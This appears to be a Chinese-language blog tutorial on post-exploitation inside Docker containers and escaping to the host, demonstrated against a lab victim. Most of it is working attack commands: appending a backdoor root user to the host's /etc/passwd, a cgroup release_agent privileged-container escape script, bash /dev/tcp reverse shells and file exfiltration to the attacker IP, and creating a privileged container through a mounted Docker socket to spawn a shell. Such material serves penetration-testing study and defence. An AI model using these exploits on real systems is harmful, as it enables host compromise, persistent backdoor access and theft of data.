Docker Post Exploitation and Escape


最近常常遇到 Docker 相關的機器, Docker 機器裡面通常都很乾淨,缺少很多可以用的小工具,所以後滲透比起普通 Linux 機器有一點點點的不同 QQ,本文會用幾個小例子簡介一下 Docker 的後滲透技巧以及逃脫方法

以下範例的機器 IP:

  • Kali (Attacker) : 192.168.40.135
  • Ubuntu (Victim) : 192.168.40.136

Mount Host Root Directory

在這邊的例子中,我們假設我們已經擁有了 Container 中的 Root 權限,且嘗試想試著逃離 Docker

這邊使用的 Docker 環境是這樣叫起來的

sudo docker run -v /:/host -it ubuntu bash

觀察電腦中的 Process

假設我們把 host 的根目錄 mount 在 container 的 /host,我們可以透過寫一個簡單的小腳本來觀察 host 機器上執行了哪些的 process

#!/bin/bash

for dir_name in $(ls -d /host/proc/*/ | grep -E '\/host\/proc\/[0-9]+\/'); do
        echo $dir_name;
        cat $dir_name/status 2>/dev/null | head -n 1;
        cat $dir_name/cmdline 2>/dev/null ; echo -ne '\n';
        echo '============================'
done

透過觀察 Host 的 Process,我們可以設法找出電腦中可以利用的 Process,範例輸出:可以觀察到電腦有開 SSH

============================
/host/proc/9450/
Name:   sshd
sshd: steven@pts/2
============================
/host/proc/9451/
Name:   bash
-bash

修改檔案 / 新增使用者

在前面的例子中,我們知道電腦裡面有開 ssh 的服務,所以可以嘗試利用 ssh 來達成 Docker 的逃脫。

這邊要注意一個點是,預設的 Linux 的 SSH Server 是不允許 Root 帳號登入的。

相關的設定檔會在 /etc/ssh/sshd_config

#PermitRootLogin prohibit-password

所以最安全的方法是先建立一個普通使用者,之後再來提權。

echo 'meow:yeDupmFJ8ut/w:9999:9999:meow:/:/bin/bash' >> /host/etc/passwd

上述之 hash 解碼後,密碼會是 meow

接下來就能開心地使用 meow 帳號登入 SSH 了!!

再來在 Container 中把 UID 與 GID 修改成 0

sed -i -e 's/9999/0/g' /host/etc/passwd

接下來 ssh 的 client 上面

meow@ubuntu:/$ su meow
Password: 
root@ubuntu:/# whoami
root

就 root 了

當然我們也可以試著修改使用者的 .bashrc 或是使用 cronjob / 開機自動啟動等方式等待使用者戳進來時,回傳 reverse shell

Privileged Container

假設 Docker 是被 Privileged 方式叫起來的話,可以參考 Felix Wilhelm 在 Twitter 的 Exploit

d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o

但我自己測試,這個 Exploit 會出現一點點小 Bug,主要是 d 變數會噴出兩行東東,所以可以用 head 來再次限制一下,完整的腳本如下。

d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1) | head -n1`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o

把檔案存成 meow.sh 再來 chmod +x meow.sh ,就能快速地跳脫 Container,撿一個 Reverse Shell 了!

./meow.sh "bash -c 'bash -i >& /dev/tcp/192.168.40.135/443 0>&1'"

網路篇

克難的發送 HTTP Request

如果我們希望可以從 Container 中發送簡單的 HTTP Request 到我們的 Server,可以使用 Bash 中的語法糖達成

假設我們的 Attacker 機器開了一個 http server,或是一個 nc 的 listener 在 8000 port

我們可以從 Container 發送

echo -ne 'GET / HTTP/1.1 \r\nHOST:meow \r\n\r\n' > /dev/tcp/192.168.40.135/8000

這樣在遠端就有辦法收到 HTTP Request

克難的傳輸檔案

如同前面的方法,假設我們想要把檔案給傳輸出來,但是電腦中沒有 curl / wget 的話,也可以利用 /dev/tcp 方法

範例輸入

cat /host/etc/passwd > /dev/tcp/192.168.40.135/8000

範例輸出

nc -nlvp 8000
listening on [any] 8000 ...
connect to [192.168.40.135] from (UNKNOWN) [192.168.40.136] 41948
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin

克難的接收檔案

能下載檔案,當然也能接收檔案,假設我們想要把檔案掛上攻擊機,可以用 nc 來幫助

nc -q 5 -nlvp 8000 < linpeas.sh

而接收端,則可以用

cat < /dev/tcp/192.168.40.135/8000 > linpeas.sh

Mount Docker Socket

以下的範例會假設 Container 中,有把 HOST 的 Docker Socket 給掛進來,當然,如果 mount 整個根目錄的話,也會有 docker socket 可以用。

sudo docker run -v /var/run/docker.sock:/var/run/docker.sock -it ubuntu bash

這種狀況下,我們可以透過 curl 來發 unix 的 Socket ,直接與 Docker Socket 進行溝通,建立一個 Privileged Container。

電腦裡沒有 curl 的話,可以去撿這種 Static 的 Curl , 然後用上述 nc 的方法把檔案帶進去。

# host
nc -q 5 -nlvp 8000 < curl-amd64

# victim
cat < /dev/tcp/192.168.40.135/8000 > curl
chmod +x ./curl

接下來準備一個創建 Container 用的檔案

echo '{"Image":"ubuntu","Cmd":["bash","-c","bash -i >& /dev/tcp/192.168.40.135/443 0>&1"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true, "Privileged": true}' > container.json

透過以下指令來建立 Container

./curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d "$(cat container.json)" http://localhost/containers/create

會收到類似一個以下的 Response

{"Id":"a18bb3e3210eefb937bc89835c6d5b9bd1a859e24ce6576791f72469ec172a07","Warnings":[]}

這邊我們要記一下 ID 的開頭,然後用以下指令跑起來,(Attacker 先準備好用 nc 收 Shell)

./curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/a18b/start

執行下去後,我們應該就能撿到一個 Privileged Container 的 Shell 了!

再來使用上述的 Privileged Container Escape 方式寫檔,就能順利爬出來,而且直接撿到 Root 權限了!

Reference

,

發表迴響